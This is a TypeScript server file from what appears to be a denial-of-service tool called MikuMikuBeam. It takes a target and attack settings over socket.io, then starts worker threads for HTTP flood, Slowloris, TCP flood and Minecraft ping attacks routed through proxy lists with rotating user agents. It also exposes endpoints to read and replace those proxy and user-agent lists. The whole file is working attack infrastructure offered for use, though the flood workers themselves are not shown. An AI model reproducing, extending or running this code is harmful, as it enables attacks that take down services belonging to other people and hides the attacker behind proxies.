MikuMikuBeam/server/index.ts

155 lines
4.4 KiB
TypeScript

import express from "express";
import { createServer } from "http";
import { dirname, join } from "path";
import { readFileSync, writeFileSync } from "fs";
import { Server } from "socket.io";
import { fileURLToPath } from "url";
import { Worker } from "worker_threads";
import { currentPath, loadProxies, loadUserAgents } from "./fileLoader";
import { AttackMethod } from "./lib";
import { filterProxies } from "./proxyUtils";
import bodyParser from "body-parser";
// Define the workers based on attack type
const attackWorkers: { [key in AttackMethod]: string } = {
http_flood: "./workers/httpFloodAttack.js",
http_slowloris: "./workers/httpSlowlorisAttack.js",
tcp_flood: "./workers/tcpFloodAttack.js",
minecraft_ping: "./workers/minecraftPingAttack.js",
};
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
const app = express();
const httpServer = createServer(app);
const io = new Server(httpServer, {
cors: {
origin: "http://localhost:5173",
methods: ["GET", "POST"],
allowedHeaders: ["Content-Type"]
},
});
const proxies = loadProxies();
const userAgents = loadUserAgents();
console.log("Proxies loaded:", proxies.length);
console.log("User agents loaded:", userAgents.length);
io.on("connection", (socket) => {
console.log("Client connected");
socket.emit("stats", {
pps: 0,
bots: proxies.length,
totalPackets: 0,
log: "🍤 Connected to the server.",
});
socket.on("startAttack", (params) => {
const { target, duration, packetDelay, attackMethod, packetSize } = params;
const filteredProxies = filterProxies(proxies, attackMethod);
const attackWorkerFile = attackWorkers[attackMethod];
if (!attackWorkerFile) {
socket.emit("stats", {
log: `❌ Unsupported attack type: ${attackMethod}`,
});
return;
}
socket.emit("stats", {
log: `🍒 Using ${filteredProxies.length} filtered proxies to perform attack.`,
bots: filteredProxies.length,
});
const worker = new Worker(join(__dirname, attackWorkerFile), {
workerData: {
target,
proxies: filteredProxies,
userAgents,
duration,
packetDelay,
packetSize,
},
});
worker.on("message", (message) => socket.emit("stats", message));
worker.on("error", (error) => {
console.error(`Worker error: ${error.message}`);
socket.emit("stats", { log: `❌ Worker error: ${error.message}` });
});
worker.on("exit", (code) => {
console.log(`Worker exited with code ${code}`);
socket.emit("attackEnd");
});
socket["worker"] = worker;
});
socket.on("stopAttack", () => {
const worker = socket["worker"];
if (worker) {
worker.terminate();
socket.emit("attackEnd");
}
});
socket.on("disconnect", () => {
const worker = socket["worker"];
if (worker) {
worker.terminate();
}
console.log("Client disconnected");
});
});
app.get("/configuration", (req, res) => {
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
res.setHeader("Content-Type", "application/json");
let proxiesText = readFileSync(join(currentPath(), "data", "proxies.txt"), "utf-8");
let uasText = readFileSync(join(currentPath(), "data", "uas.txt"), "utf-8");
res.send({
proxies: btoa(proxiesText),
uas: btoa(uasText),
})
})
app.options('/configuration', (req, res) => {
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:5173');
res.setHeader('Access-Control-Allow-Methods', 'POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');
res.send();
});
app.post("/configuration", bodyParser.json(), (req, res) => {
res.setHeader("Access-Control-Allow-Methods", "POST");
res.setHeader("Access-Control-Allow-Headers", "Content-Type")
res.setHeader("Access-Control-Allow-Origin", "http://localhost:5173")
res.setHeader("Content-Type", "application/text");
// console.log(req.body)
// atob and btoa are used to avoid the problems in sending data with // characters, etc.
let proxies = atob(req.body["proxies"]);
let uas = atob(req.body["uas"]);
writeFileSync(join(currentPath(), "data", "proxies.txt"), proxies, {
encoding: "utf-8"
});
writeFileSync(join(currentPath(), "data", "uas.txt"), uas, {
encoding: "utf-8"
});
res.send("OK")
})
const PORT = 3000;
httpServer.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});